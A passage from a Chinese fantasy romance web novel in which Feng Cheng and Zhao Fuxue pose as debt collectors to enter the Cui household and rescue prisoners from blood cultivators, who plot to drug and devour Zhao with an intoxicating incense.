说着,她把方才取茶的盖子合上,封澄眼尖,准确地瞄到上面写着的一排大字。 上书:十文。 这种包装她见过,街头十文一盒子的干茶叶,有人配好,专供路边贩夫走卒饮用。 周寻芳微微一笑,道:“于此道上,我也不通,从来只会沸水煮茶,这屋子从前是阿雪祖父的,后面便是阿雪的。” 她道:“阿雪颇精此道,从前回家,常来茶室泡着,平素里寻不到他,只管去茶室与藏书室寻他。” 封澄不知道周寻芳要表达些什么,只好干巴巴地点了点头。 她当然知道赵负雪颇精茶道,只是后来茶水解药,他不怎么喝茶了。 周寻芳道:“可这次回赵家,他几乎不来了。” 封澄心中道一声不好,周寻芳道:“姑娘可知他去哪了?” 这几日没人比封澄更清楚赵负雪的行踪了,她打死不肯在赵家留宿,便在不远处住了客栈,晨起一下楼,便见到赵负雪悠然自得地坐在下面,桌上摆满热气腾腾的早膳,她于街上闲逛,赵负雪必然就在对面酒楼的最高处自斟自饮,她刚翻过天机院的院墙,便恰好能看见赵师兄正言笑晏晏地守在墙下。 思及此处,封澄叹了口气:“知道。” 周寻芳道:“他的心思,莫说是当事之人了,即便是我们这些旁观的,也一清二楚,只是从前还藏着掖着,现在这般大张旗鼓,可是他对姑娘说了什么?” 封澄干脆也不隐瞒了:“他说心悦于我。” 周寻芳点头:“原来如此。” 随即,她又道:“你心中是什么意思?” 封澄古怪地看了周寻芳一眼,从前见她,只觉得严厉,现在一瞧,这熟悉的表情,竟然还八卦。 想了想,封澄道:“老尊者从前说赵家容不得一个情种,想来我心中的意思,是不要紧的。” 谁知道周寻芳定定地看着她,半晌,嘴角竟然勾上了一分若有若无的笑意。 “一个情种是容不得的,”她微微一笑,“一对情种,还是容得下的。” 封澄:“……” 封澄手一抖,茶水猛地洒了一桌子。 “还能这样!”封澄只想给周寻芳跪了,“我以为是赵家治家甚严,不许有私情!” 如若是旁的见过周寻芳的人来看,定然会惊下个下巴来。 这位威严的老者,叱咤风云,掌控第一天机世家的大修,面上竟然露出了堪称忍俊不禁的笑意。 这幅场景的惊人之处,便如同洛京大街上,有一只天魔大摇大摆招摇过市了一样。 “当然不是,”周寻芳慢慢道,“赵家人,择一人而终老,遇上命定之人,情深并非坏事。反是那些犹犹豫豫的,岂不是错过?” 顿了顿,她又道:“所以我只来问姑娘的意思,若是你不愿,阿雪也不该勉强——我定然不会置之不理。” 封澄更不知道说什么了,片刻,她道:“我有一事疑问,那日老尊者提起赵公子的父母……?” 说到此处,周寻芳的脸色暗了暗,封澄后知后觉地发现自己大概说错话了。 她正要找补,周寻芳却道:“阿雪的父母,便是孽债了。” 什么意思? 周寻芳道:“阿雪的母亲忽然失踪,半分讯息也没留下,其父苦寻数年,终究敌不过相思之痛,自戕而亡了。” 说到此处,封 澄心中猛地一揪,道:“晚辈冒犯。” 周寻芳很疲惫地摆了摆手:“赵家夫妻,成亲之时,绑生死咒,来生往世,再续前缘。一方亡故,命咒便应验一半,我儿手腕上的命咒从未应验过,她却不愿出现,我儿日久绝望,自行了断,也算解脱。” 周寻芳缓缓地站起来:“所以,赵家感情一事,最不能勉强,你若于阿雪无意,便不要重蹈覆辙,再演他父母的覆辙。” 骤然听了一耳朵旁人家的家私,封澄晕晕乎乎,只道:“可如若一方痴心不改,有什么法子吗?” 周寻芳意味深长地看了她一眼:“自然是有的。” 第38章 第38章剩下的人,统统背过身去…… 封澄出来时,天已黑沉了。 周寻芳仿佛铁了心要将她拖在茶室里,她茶点吃了一茬又一茬,茶水喝了一杯又一杯,几次试图尿遁又被她揪回,封澄只深恨赵家家主如何能清闲至此,和她一介外人都能无所事事地消磨一整天。 她揉了揉酸痛的腰,脚落在外面的实地上,心中却在想着方才周寻芳所说的话。 “这天下谁都不能保证心系之人不变心,”周寻芳道,“即便是赵家,也做不到。赵氏先祖为了避免后世血脉为生死咒所累,便传下了生死咒的反咒。” “行生死咒之反咒后,此前种种情爱,一概抹消,再不复存。” 世间竟有这等禁咒,还没待封澄惊讶完,周寻芳又接着道:“然,人心从来都是最不能掌控的东西,抹除一个生人尚且不易,更遑论是曾经痴心爱慕过的、生死不渝的情人?” “故行反咒者,从前种种情思,也会随抹去的心中之人而顺势消亡,从此断情绝爱,人间七情,与其再无瓜葛。” 人间七情,与此再无瓜葛。 这句话坠在封澄心间,沉甸甸的,她无意识地念了几遍,心乱如麻。 周寻芳道:“阿雪身为将来的家主,用上反咒,并不稀奇——实话与你说,赵氏数代家主中,没用上反咒的修士,屈指可数。” 她的脸上一片平静:“于大夏,于人族,赵氏始终处于一个至关重要的位置,赵家动,则天下动,如此庞然大物的掌舵人,人一旦无心无情,处事裁决便从理不从心,如此护得天下安宁,才是赵家家主的正道。” “若你无心,我便早日与阿雪商讨反咒之事,也算是一同了结你我二人的心事了。” 封澄有些出神,连自己不知何时走出了赵家的大门都不知道。 无心……无情吗? 望着周寻芳的眼睛,她忽然便想到后世的赵负雪了。 二十年后的赵负雪,一剑之威,却镇得长煌大原内外之魔皆不敢妄动。 护得天下安宁这件事,赵负雪大概是做到了。 无心无情,睥睨苍生,他也做到了。 她心中莫名钻出了一股无名火,连她自己也不知道这火是从哪儿冒出来了,她六神无主地乱撞出门,心乱得想要寻些酒来:“上次打的酒不错,一醉便是五日,不知这时候老板打烊了没有?” 忽然间,一人狼狈无比地扑到了她的脚尖,封澄失魂落魄,险些踩着人,她被吓了一跳,当即回了神。 来者裹着一块宽大的黑布,撞到封澄后,那破布也被撞到一旁,只见他蓬头垢面,身上和脸上还有乱七八糟的血污,像一个狼狈无比的乞丐。 深更半夜还在乞讨的,日子想必是非常难过了,封澄只当他饥饿,便顺手从荷包中掏钱,不料他他吃力地抬起脸来,艰难地扒住封澄的衣裳道:“赵家,去救人!” 夜色深黑,封澄眼睛好使,即便是深夜也能看个清楚,她定睛一看,当即变了脸色:“崔霁?” 来者正是那日飞檐走壁的如风少年,可此时此刻,他本该神采奕奕的眼睛灰暗浑浊,眼底还有密布的血丝,身上散发着臭气,全然无了那日的编草玩笑的潇洒气象。 这臭气无比熟悉,熟悉得令封澄当即变了脸色。 她果断道:“出什么事了,你先和我说!” 崔霁语无伦次:“崔家,去崔家地牢救人,有血修,求你……” 果断地,封澄飞快将他架到赵家门口,猛敲大门叫出人来,见了赵家修士,便吩咐他带崔霁去见周寻芳,崔霁的精神已然有些崩溃,听说封澄要将他安置到赵家暂行歇息后,当即崩溃无比,一边大哭一边向外面冲去道:“我,我不去!我爹娘还在里面,他们还没出来,我要回去救他们……” 这闹腾的动静不小,几个人也按不住他,封澄瞥见外头街道有数骑快马飞驰而过,随即便听到远远处踹门踹户的喧闹哭号之声,心中只一片咯噔,她当机立断地把人往里一踹,催促道:“带他进去找赵负雪,千万要藏起来!” 崔霁由且大叫哭号不止,咣咣砸门,封澄只扶额叹息。 人若是连自己都保全不了,保全别人更是痴心妄想了。 封澄没走出两步来,便见到一队骑着高头大马的修士向着赵府冲来,她心头一突:“崔家人?往这里来了?” 上门搜人,几乎是能称之为挑衅之事了,崔家哪怕借上十几个胆子,也是不敢来赵府里面搜人的。 正疑惑间,封澄想到了方才崔霁口中提到的血修。 是了,她一拍手,事出反常必有妖,上门来查赵家的,不太可能是崔家,倒是很有可能是血修。 偏生这时候的崔霁估计是没走远的,要是这群人敏锐,保不齐要听到那疯子的踢打乱叫之声。 封澄一扬手,手心被划开的伤口中甩出了一杆血色长枪,她懒洋洋地抬起枪来,挡住了的为首者的去路。 如果这群人的头儿是血修,那她倒是有法子拦一拦的。 那人见竟然有人拦马,先是一怔,随后便不耐烦道:“崔家办事,不想死的就闪开!” 封澄微微笑了:“是不是崔家办事我不知道,我只知道你们头儿,相当不会办事。” 为首者闻言大怒,抬刀便要冲上来教训教训这个出言挑衅的无名小卒,可刀还没出去,他便被身边一骑拦住了。 封澄留心一看,拦住他的人是个皮肤白得像鬼的小青年,他披着漆黑长跑吗,长了一个十分显眼的鹰钩鼻,眼底冒着血丝,低头看人时,封澄莫名感觉到了一股黏糊糊的阴森之感。 这种被冰冷的牛舌舔了一口的感觉…… 静默半晌,那人才拖着长腔道:“原来有前辈在此,是我们小的不懂规矩了。” 说着,他手下一狠,竟然将为首那人拽得滚下马来,那人尚不明所以,滚在地上一脸茫然道:“大人,是何意思?” 是何意思? 封澄冷笑一声。 作为最接近魔族的修士,血修这种东西,也不免沾了些魔族的臭习性。 比如说,划地盘。 在血修之中,弱肉强食是理所当然的事情——毕竟血修连同类都能视作食物修行。 与魔族抢怨气的道理一致,人就那么点儿,可供血修修行的血肉也就那么点儿,友好相处、和平分享,在血修中是不存在的。倘若有血修占了一处地盘儿,剩下的血修要进来撒野,便要掂量掂量自己的轻重了。 小血修进了大血修的地盘,一是要上去拜会,二是要交保护费,三是要交过路费,倘若稀里糊涂地便舞到对面脸上…… 封澄眯了眯眼睛,身上煞气一腾而出:“是把命留下,还是……?” 见了封澄煞气,那白脸修士脸上霎时一片惨白,他不敢犹豫,翻身便滚下马来,恭恭敬敬地取下腰间荷包递上:“前辈,小的来时匆忙,并非有意冒犯,一点薄礼不成敬意,日后定然封一份大礼送到您府上。” 封澄接过荷包,掂了掂。 吃了一个人的血修,比不上吃了十个人的血修,吃了十个人的血修,比不上吃了百人的血修。 血修吃过的人,清清楚楚 地写在血修的煞气中。 是骡子是马,一亮煞气,便差不多能看出所以然了。 封澄眯了眯眼睛,她并不能弄清目前自己在血修中的位置——毕竟她从未吃过人。 可无论是前世还是今生,在为数不多亮煞气的环节,她从未被压倒过。 滚在地上的血修额头上不住地沁出冷汗,头也不敢抬,眼珠乱转,心跳如鼓:“在洛京这种一步一个天机师的地方,怎么会突然冒出个煞气至此的血修?从前并没有听说过血修之中有这个人!” 他偷偷瞄了一眼,紧接着便被那煞气骇得腿软。 这煞气,杀人如麻一词已经显得苍白了,血修修到如此地步…… 即便是屠城,也不够。 一想到此处,他额角的汗珠就一滴一滴地滚下来,砸进了地里。 难道是上古大修,重出江湖了? 难怪敢从赵家门口大摇大摆地走过……连第一天机世家都不放在眼里! 一旁被拉到马下的修士也傻了,他慌忙膝行几步,紧接着也解下了腰间荷包,恭恭敬敬地递了过去:“前辈,是小的冒犯……” 封澄低头瞄他一眼,并未从他的身上察觉到半分血修之气,她难以理解地看着他:“你并不是血修,拜我做什么?” 修士给血修上交保护费,便如同将入屠宰场的牛羊叫卖自己肥美多汁。 那修士脸涨得通红:“既然我们大人叫您一声前辈,那么我们也理应叫您一声前辈,为大人做事,该懂的事得懂。” 说着,他一脸谄媚地面向那白脸血修:“孝敬大人,是我们该做的事。” 封澄倍感荒谬可笑,她目光移向那血修,只见那血修笑道:“小的们懂事,还请前辈不要嫌弃,一并收下吧。” 此时此刻,她是真想把这修士的骨头钻开看看,瞧瞧里面到底是什么东西,怎么软成这个样子。 不过此时,里头的崔霁应当是藏好了,封澄便不再拖延时间,她抬起枪,枪尖在那白脸修士的身上缓慢地梭巡,每停一处,便引得对面一阵胆寒震悚。 封澄的枪停在了他的心口上,白脸修士不动声色地吞了一口口水,汗如雨下。 她是想要剖了他的心。 预料中的疼痛并没有如期落下,良久,她的枪停在了他的腰带上。 封澄颇为轻佻地笑了笑:“我倒不太稀罕这些金银俗物。” 说着,她极为暧昧地将那白脸血修的腰带挑起些,引得他腰间腰牌佩玉一并叮当:“不如这个,脱了吧。” 此言一出,四座皆惊,一队人马皆不可置信地看向二人,那血修闭了闭眼,心中暗暗松了口气,手下动作却不敢犹豫。 竟然从她手中捡回一条命了。 牙一咬,他将腰牌取下叼着,抬手便要宽衣解带,谁料上首处又传来一声轻笑:“我要你一、丝、不、挂,你留个腰牌,是要恶心谁?” 封澄不轻不重地将腰牌从他口中拿下,道:“接着脱。” 那血修一咬牙:“剩下的人,统统背过身去!” 那队人马不敢犹豫,当即静默无比地转身而过了。 寂静深夜中,只有他衣服摩擦而发出的簌簌声。 封澄打了个呵欠,闭了闭眼,转身便走了。 白脸血修许久才敢瑟瑟发抖地抬起头来,随即便一脸愕然——人呢? 既然走了,他也不必折磨自己,他站起身来,飞快穿上衣服,沉声道:“转回来!” 众人回头一看,那煞气强横到诡异的血修早已不见了踪影,他们的大人也已衣冠整齐,独有眼角染了两份又怒又怕的红意,那为首修士眼见地看到他衣冠皆全,独有腰牌与荷包不见了踪影,于是上去小心请示道:“大人,那腰牌……” 血修愤而上马,阴森森道:“她拿走,我便没有再要回来的道理。” 默了默,他又道:“那种血修,要我腰牌能做什么?想必走出去便随手丢了,大不了回去补一个罢,走,接着去查那小子。” 说着,他难掩怒火:“今夜蒙受如此之辱,皆是由他而起,若是被我寻到他,我定然要他尝尝我乌言的手段!” 那人又谨慎问道:“那赵家,我们还……” 乌言一咬牙:“方才我听见门口有动静,只不过此时,即便是崔霁逃来了这里,也被人塞进去了!这样,你给齐大人送个信去,求他派崔家那几条老狗来查,要快!” 第39章 第39章“你也并未拦我,”赵负…… 洛京的世家不多,叫得上名字来的,不过赵姜崔楚四家,其中赵家强盛,为当之无愧的第一天机世家;姜家素有权名,其天机师多出入朝堂,为帝所用;楚家低调,杂学皆精,听闻京城第一代天机院的班底,便统统都是楚家之人。 这四家中,唯有崔家,是以财名而享誉于世的。 封澄的脑中将崔家布局飞快地过了一遍。 当年她琢磨军费时,也曾和崔家打过交道,对崔家之人的印象异常明显——崔家有一个算一个,统统都是不长尾巴的狐狸。 崔家老窝也紧紧随了其主人的作风,主打一个错综缭乱,令人一头撞入,便像是走了迷宫,封澄几次进去,若非前头有崔家人领着,她定然会迷路乱撞,不知何处去了。 时间一点一点地过去,封澄搜寻无果,竟无法在崔家中找到地牢的踪影,她心中正焦急无比,忽然便听到前面有几个穿着崔家服饰的人板着脸走过。 一人道:“崔霁跑了?关在地牢里,他竟然还能跑了!” 另一人啐道:“跑了又能怎样!他一个半大的毛头小子,成事不足败事有余的,能搅出什么浪来?地牢里还关着他爹就成!这一家人也是糊涂,能叫人逃出去,不叫有用的人跑,反倒放了个混账小子。” “唉,虽说如此,齐大人还是动了火气,咱们今晚上啊,是别想睡个安生觉咯。” 封澄扒着屋檐屏息凝神,闻言心中一喜——踏破铁鞋无觅处,这两人正好是要去往崔家地牢的。 她想也不想地,提步便要跟上,谁料还没动手,身后便有人轻轻地拉了她的袖角。 谁? 想也不想地,封澄一肘子捣过去,那边当即传来一声闷哼,随即便是再熟悉不过的声音:“……是我。” 封澄看清来者,当即愣了,她收回手臂,有些讪讪道:“你怎么在这里?” 来者正是赵负雪,他垂眸看着封澄,眼底有几分不自觉的柔和笑意:“我正好碰上了崔霁,他一说,我便知道你定然提前一步来救人了。” 他松开封澄的袖子,垂眸向下看了看,不赞成地摇头道:“崔家整个院子皆笼着当世大修所绘符阵,你若这般硬闯,不等进去,便被符阵当场斩杀了。” 此时一见赵负雪,封澄便有些心乱如麻,闻言,她还是收回了注意力,道:“你有办法?” 赵负雪道:“有,只是要辛苦你一些。” 封澄:“?” 片刻,赵负雪站在了崔府门口,轻轻地敲了敲崔府的大门。 封澄站在他旁边,赵负雪身上的冷香幽幽透来,她有些面热。 赵负雪说有办法,可他没说这个办法是大摇大摆地从大门走进去! 片刻,有人来开门,见到赵负雪,来者先是一怔,又看到赵负雪身边的封澄,紧接着又是一怔。 来人似乎没想到赵负雪会来,一时间站在原地,也不请人进来,也不喊人抓人,只惊疑不定地看着他,摸不清此时此刻赵负雪前来的目的。 是崔霁那小子去赵家搬了救兵?还是赵负雪恰巧路过? 封澄将那人乱转的眼珠看得清楚,心 中暗暗骂了一声。 这崔家看着好端端一个世家,实则从里到外突然烂了个透,连个看门的小修士都为血修所用了。 看门修士迟疑的时间已经漫长到了一个无礼的程度了,赵负雪微笑道:“怎么?” 修士猛地回神,忙道;“我家主人近来不方便见客,还请……” 赵负雪闻言,冷笑道:“客?谁道我是来做客的?” 说着,他从怀中取出一物来,理所当然地一抖,只见卷轴砰地摔在地上,上面纸张还叠了几叠。 “我是来讨债的。” 修士:“……” 他不敢置信地将卷轴捧来,果不其然,这上面林林总总记了不少东西,有什么灵器法宝,有什么天机藏书,有什么天材地宝…… 修士将卷轴从头到脚看去,越看眼睛瞪得越大,他并不瞎,自然能看到紧跟于其后的还账时期。 白纸黑字,确凿无疑。 七月十六。 那人脸色空白地算了算——子时已过,眼下当真是七月十六了。 赵负雪脸一沉:“怎么?债主当前,你要用今日不便见客那一招来搪塞,可是要打算赖了赵家的账?” “不敢不敢!”那修士当即一叠声地否定,随即便战战兢兢地行礼道;“小的进去请示一下主人,还请赵公子稍稍后片刻。” 他转身便脚跟不沾地跑了,侍者打扮的封澄偷偷抬起眼来,意外道:“还能这么干!” 赵负雪挑了挑眉,眉眼中氤满笑意:“出来得着急,只带了这些,世家之间大都牵扯不清,若你想看,还有更多,楚家的有,姜家的也有——不过还是崔家的最多。” 封澄对谁家欠了谁家什么东西一点儿都不感兴趣,对世家那连篇累牍的烂账更是敬谢不敏,她连连摇头,想到方才赵负雪模样,促狭地眯了眯眼:“方才我见你当门要债,气势如虹的模样,倒还挺威风。” 赵负雪他偏过头去,长且密的睫毛垂下,他盯着封澄看了半晌,幽幽道:“不如你横枪拦路,命人当街脱衣来得威风。” 封澄;“……” 封澄:“……” 赵负雪又幽幽道:“大施淫威,当真流氓,看得可爽?” 她又恼又笑,磨牙道:“我那是事急从权——赵公子不光偷听干得熟练,偷看干得也相当老道,敢问您老藏在哪个犄角旮旯处?” 赵负雪不回答,只淡淡地移开了视线。 那门房仿佛王八再世,慢腾得旷古绝今。封澄眯了眯眼,突发奇想道:“他会不会直接将账拿走,直接毁了了事?不用放你我进去了,也不用还账了。” 赵负雪摇了摇头,沉声道:“无论如今崔家主事之人是谁,都会放我们进去的。” 封澄挑眉,赵负雪接着道:“那账只是其一,还有一事,是他们无论如何都拒绝不了的。” “于他们而言,比起有可能逃到赵家的崔霁,一个送上门的赵家公子。” “才是这群血修无法拒绝的东西。” 封澄似笑非笑:“你何时学了这副以身犯险的做派。” 赵负雪回头看向她,目光是瞎子也能看出来的专注与认真。 不知何时,这双眼睛看向封澄时,总莫名含着些笑意。 “你也并未拦我,”赵负雪笑道,“为什么。” 封澄气笑了,他好整以暇地看着她,等待着她亲口说出答案。 盯他看了半晌,封澄还是翻了个白眼,开口道: “我不会让你在我面前出事,无论如何都不会。” 赵负雪转过身,气定神闲、理直气壮道:“所以辛苦你一些了。” 这话说得,仿佛以身涉险的不是他一样,又好像百家皆精的少年奇才不是他一样,封澄站在原地,盯着少年师尊玉树临风的背影,一时间心头更乱了。 *** 听到门房的禀报,再看着递上来的账目,齐遥脸色一青一白,他难以置信地将卷轴从头看到尾,又从尾看到头,猛地站起来,一巴掌把卷轴拍在大案上:“他赵家是活不起了吗!才过子时,天还乌黑着,就来收账了!” 门房支支吾吾,瑟瑟发抖道:“可,可毕竟是我们欠了赵家……” 齐遥一记眼刀飞来,门房当即脖子一缩,噤声了。 齐遥在上面来回踱步,一旁的崔家之主睁着昏花的老眼,抑扬顿挫道:“赵家从前并不急着催账,莫说是过一日了,有些时候,过个几天都不会有人上门来催,今日来得这般急,想必是有要紧东西急着收了,不如先请人进来。” 虽说即便赵家不催,也没几家敢拖债,可这子时一过便上门逼债的事情,还是从未发生过的。 齐遥回头瞪他。 他的脸并不符合平素里世人对血修的定义,不同于大多血修阴森惨白的脸,他的脸浮着一层健康的麦色,一双眼又圆又亮,抬眼闭眼间,竟有种邻家弟弟的天真感,又加上其身量不高,眉眼带笑,这么打眼一看上去,谁会将他与臭名昭著的血修联系到一起去? 他几乎恨不得将那卷轴撕了:“早不来晚不来,偏偏这时候来!这时候谁知道他是崔霁搬来的救兵还是闲的没事干过来讨债的!” 说着,他猛地一回头,目光中露出凶色:“不如这样,把他偷偷带进来杀了,赵家那边要是问,就死不认账,反正半夜三更的没人看见,我把他一吃,连尸骨都找不到。” 当真是理所当然的残忍,即便是见过他修行的崔家主也缓缓睁开了眼。 门房哭丧着脸,跪下道:“使不得啊,使不得啊,来的人若是死了,保不齐整个崔家都要被赵家扬了!” 听闻此话,一直在兴奋踱步的齐遥停住了脚,他道:“来的是谁?” 门房闭了闭眼,牙一咬道:“来得正是赵家将来的家主,负雪公子。” 话音一落,偌大厅堂内当即寂静无声。 门房瑟瑟发抖地跪在地上,陡然间,齐遥哈哈大笑起来,这笑声越笑越高,越笑越癫狂,到最后,门房几乎担心起了他的脸会不会因此而被撕成两半。 许久,齐遥笑够了,他的眼睛闪闪发亮地转过来,盯着门房,一字一顿道:“请他、进来。” 门房是半点儿也不想在这屋子里面呆了,他转身逃也似的跑了,仿佛后面有厉鬼在追似的。 齐遥兴奋而焦躁地在大案前来回踱步,一会儿蹦到案上,一会儿躺在椅上,简直是坐卧不安的真实写照,崔家主不由得又睁开了昏花的老眼,迟缓道:“大人为何,这般高兴啊?” 齐遥焦躁地挠了挠自己的的脖子,又不解痒地挠了挠自己的脸,直挠得血痕斑斑;“赵负雪,哈哈哈哈哈哈,竟然是赵负雪!他送上门来了!我从前就想吃他,想得心痒难耐!可惜赵家像个打不破的铁锅,煮着这么香的肉,却只让人在外面反馋。” 想到这里,他舔了舔嘴唇:“连镇国大兽都要护着的天才,赵家血脉,目中无人的天之骄子……” “这样的骨头嚼起来,想必也比旁人多一分滋味了。” 崔家主掀了掀眼皮,懒洋洋道:“你吃他不要紧,求你莫要为崔家找事。” 齐遥从来就是个疯子,若不是他带来的东西实在是好,崔庆也不会将这么一个臭名昭著的血修放进崔家来,还由着他在崔家兴风作浪。 凡是与他过不去的崔家人,不是被他偷偷吃了,就是被放进了地牢,折磨得不成。人形。 崔庆迟缓地闭了闭眼,鼻子不由自主地耸动了耸动。 不过嘛,看在他那些好东西的份上,这点牺牲,当真不算什么。 就当是他们为崔家的兴起出一份力了,平素里仰仗崔家的庇佑,也不是白养他们的。 想了想,崔庆伸出手来,比了个五:“我帮你抓他,在原来的货上,再加五成。” 齐遥盯着他不断耸动的鼻子:“狮子大开口。” 崔庆道:“你干不干。” 齐遥笑了:“活的。” “成交。” 第40章 第40章赵负雪,不好相处 门房并没有让二人等上多久,不多时,二人便进了崔家的大门。 一片乌夜中,只有那门房的一盏灯摇摇晃晃,这本是伸手不见五指的时候,可赵负雪低头看看走在身边的封澄,却发觉她探头探脑,眼睛亮得像一只好奇的夜枭。 不知为何,他哑 然失笑。 “崔家老窝藏得果然深,”封澄一边将周围布景不动声色地收入眼底,一边微微皱眉。 崔家的天机师远远没有其财富闻名,事实上,当世大修之中,崔家连点儿边都不沾。 其立家之道,本为仁义,可封澄冷眼旁观,崔家处事早已与仁义没了关系,倒和银子联系紧密。 崔家人似乎笃信,天下没有用银子解决不了的问题,如果有,那就上金子。 这般想着,门房带着二人进了崔家的议事大堂。 封澄抬眼看去,只觉得此处威严奢华,旁人有一来,即便是漆黑子夜,也能被隐没在沉沉月色中的庞然大物所威慑。 门上一大匾,上写三字“百岁堂”,相传是崔家先人所书,浮华肆意,观之忘俗。 二人随着门房而入,封澄尚在门口数丈远,还没步入,便被屋中熏人欲醉的香味冲了满怀,她当即鼻子一痒,忍不住悄声道:“这是什么香,即便是崔家财大气粗,又何必把屋子点得像个破了底的香囊?” 可封澄抬眼一看,却看到了赵负雪骤然阴下来的脸色。 “屏息,”赵负雪道,“不是好东西。” 他脸色阴得吓人,封澄少见赵负雪这般凝重的脸色,这副表情,封澄只在二十年后见过。 一个香料,如何能令他反应这么大? 封澄只皱眉一想,心中便浮起隐隐的猜测,她不动声色地耸了耸鼻子,将那粘稠得几乎拉出丝来的浓艳香气收入鼻腔,她觉得这味道似曾相识,总觉得是在哪里嗅到过。 赵负雪带着她走入百岁堂中,午夜无人,堂中空旷,寂静无声,可怪的是,这屋中连一盏灯也没点。 正疑惑着,堂上便有人居高临下道:“赵公子,久闻大名,今日可算相见了。” 这声音甚是年轻,可听起来,却如同这香料一般粘腻而浓艳,封澄的指尖不动声色地落在掌心,轻轻地划了一道。 除非是崔家那老头儿上哪座仙山习得了返老还童之术,否则这绝对不是他能发出来的动静。 赵负雪冷声道;“藏头露尾,债主已到堂前,却连个面都不敢露吗?” 堂上当即响起一声大笑,他一扬袖,只听嗖嗖嗖几道火光飞出,堂内灯台应声而亮,封澄抬起眼,终于看到了端坐于堂前的人。 还有瘫坐在一旁的老者。 那老者的仿佛醉死了般,甚至连呼吸声都显得隐蔽,若没亮起灯来,旁人甚至注意不到他。 年轻那人披着一身黑色大氅,明明是炎炎夏日,他却穿得像是数九寒冬一般,封澄定睛一看,总觉得这大氅似乎哪里怪怪的。 待那人站起来,封澄才发觉这衣服哪里怪——他的身高着实低调,这衣服肥大,活像他穿着他爹的。 齐遥微笑道:“赵公子带的账目,我已吩咐人一一对过,确凿无误。小的们不敢耽误,这会儿已经去取东西了,您稍坐片刻。” 说着,他便对他下手一位做了个情的手势,谁料赵负雪岿然不动,一张俊脸赛雪欺霜:“还账于赵家的,当是崔家的家主,你算什么东西。” 肉眼可见的,齐遥的笑意凝住了。 在足以杀死人的寂静中,赵负雪又微微抬了下巴,倨傲道:“一身臭味,熏得人头疼。” 封澄在一旁目瞪口呆。 她倒是知道年轻时的赵负雪不好相处——这点在古安便初见端倪了,可没想到这少年赵负雪摆出这副谁也不配和他说话的公子哥谱儿,竟能不好相处到如此地步。 封澄摸了摸鼻子,有点想笑。 果然,上面的齐遥呵呵冷笑两声,不过即便脸色青得吓人,他还是若无其事地拍手道:“既然这样,那我便将崔家家主,请来,陪公子说话可好?” 说到“请来”两字时,他加重了话音,硬是让人听出一股咬牙切齿的味道来。 赵负雪不回答,仿佛齐遥在放屁。 齐遥闭了闭眼,随即转过身,一脚便狠狠地踹向瘫倒在贵妃榻上的崔庆,这一脚来得又狠又毒,专挑人胫骨,照封澄平常搏斗的经验来看,这种力道下去,必折。 果然,那声令人牙酸的脆响在子夜中格外清晰,可崔庆缓缓地睁开眼,脸上半分痛色也无,他如梦初醒,好像是梦还没做完一样。 谁知见到堂下赵负雪,他一窜而起,一身肥大的肉喜不自禁地抖了抖,当即涕泗横流,见了救星似的就要扑下去:“贤侄!贤侄,你怎么才来啊贤侄!” 这声贤侄叫得封澄寒毛直抖,心想这老胖子难道是昏了头,谁家管上门讨债的债主叫贤侄? 眼见着崔庆就要扑过来,赵负雪皱了皱眉,亮了见素,寒声道:“上前一步,见素便不认得什么叔叔伯伯了。” 崔庆当即讪讪地停了脚步,赵负雪又道:“我只来结七月十六的账,结完便走,崔家主,寒暄话不必说了,东西呢?” 眼看着赵负雪义正词严,好像今夜除了催账便没有其余目的了,齐遥与崔庆不动声色地交换了一个眼神。 崔庆挠了挠头,为难道:“实不相瞒,赵公子,今天这账,不是我不想还,是我着实还不了啊。” 闻言,赵负雪便一挑眉:“如何还不了?” 崔庆道:“赵公子这两年在外面不知道,近些年的崔家,实在是不比从前了!” 不比从前? 赵负雪好笑道:“崔家主大可不必过谦,先不说崔家的豪富之名何人不知,只说我赵家催账天经地义,哪里是你拿出一句不比从前就能搪塞住的?” 崔庆叹了口气,摇了摇头道:“我崔家拿不出钱来,别说是贤侄来,就是老尊者亲自来,崔家也只有这句话。” 赵负雪倒是笑了;“你倒是半点不怕。” 崔庆瞥了一旁的齐遥一眼,咬牙道:“不如这样,赵公子,我崔家眼下虽没金子银子,却有比金子银子更值钱的东西,我拿这东西来公子抵债,如何?” 赵负雪似笑非笑,抱剑道:“你说的这东西,不是你这张老脸吧?” 说着,他好像生怕崔庆突然给他表演一个男儿膝下有黄金一样,动作很大地向封澄那里挪了挪,嫌弃之意溢于言表。 封澄被他这演技骇住了:“……” 崔庆:“……” 崔庆一噎,又赌咒发誓道:“老头子拿这一辈子的名声做保证,这可是实打实的硬通货!比金子,银子,甚至说灵气宝药硬通得多!” 赵负雪闻言,凉凉道:“果然是把您那金贵的老脸捞出来作保了,我说什么来着。” 封澄压根不敢看崔庆那张色彩纷呈的脸,在一旁忍笑忍得几乎要憋死过去,全身上下不断地抖啊抖。 话说到这儿,差不多便够了,赵负雪也记着地牢中的崔霁父母,直切主题道:“把你说的东西取上来,我看看是什么东西,竟能比金银还硬。” 崔庆当即拍了拍手,只见一人不知从何处钻出来,低头弯腰,恭恭敬敬地捧了一盘沉甸甸的、糕点一样的东西来。 封澄一看——那托着的盘子,竟是如假包换的金盘。 是什么东西,竟要用金盘作配? 待那东西送上前来,封澄心底当即咯噔一声,隔着远包得严实看不出来,一凑近,那‘糕点’上的香气几乎扑上人的鼻子来! 这香料与殿中所燃的一模一样,封澄下意识地便要后退一步,谁知一抬腿,腿竟然软绵绵的。 这是什么时候的事?封澄眯了眯眼睛——站在这里尚且一无所觉,若是听那血修的话坐了,此事更是觉不出不对来了。 况且她为血修,血修之体比寻常修士强健上十倍去,闻着尚且腿软,那站在一边的赵负雪,定然是反应更为剧烈了。 崔庆精光的小眼中盈满了志得意满的笑意:“此物雅名长 醉,俗名叫黑金子——虽叫黑金子,却比真金子值钱得多,这小小一盘子,往小了说,买我崔家这半座百岁堂,不成问题。 说到此处,他理所当然地等待着赵负雪的惊呼,不料赵负雪岿然不动,只用那双黑得吓人的眼睛似笑非笑地盯着他。 崔庆被他盯得发毛,他吞了吞口水,继续道:“公子一定要问了,这东西为何如此金贵呢?我这就来给公子瞧瞧为什么。” 说着,他便取了一块黑金子凑到香炉上,手还没放上去,却被剑鞘拦住了。 他心惊胆战地抬头,不料赵负雪盯着他看了看,却笑道:“崔家主拍拍手,便有人不知从何处钻了出来,如此情形下,我着实不放心啊。” 原来是怕这个,崔庆悄悄松了口气。 想来也是,赵负雪身为赵家公子,自然是不会没听说过黑金子的名号,他方才还以为这公子定力超然,即便是有那等好货熏着,也照旧不对黑金子动心。 现在一想,嗐,什么赵家公子,什么剑骨天才,他就不信了,长醉香下,怎会有人还披着人皮? 这般想着,他也放下心来:“这样好,我把人都请出去,只叫赵公子一人独享,可好?” 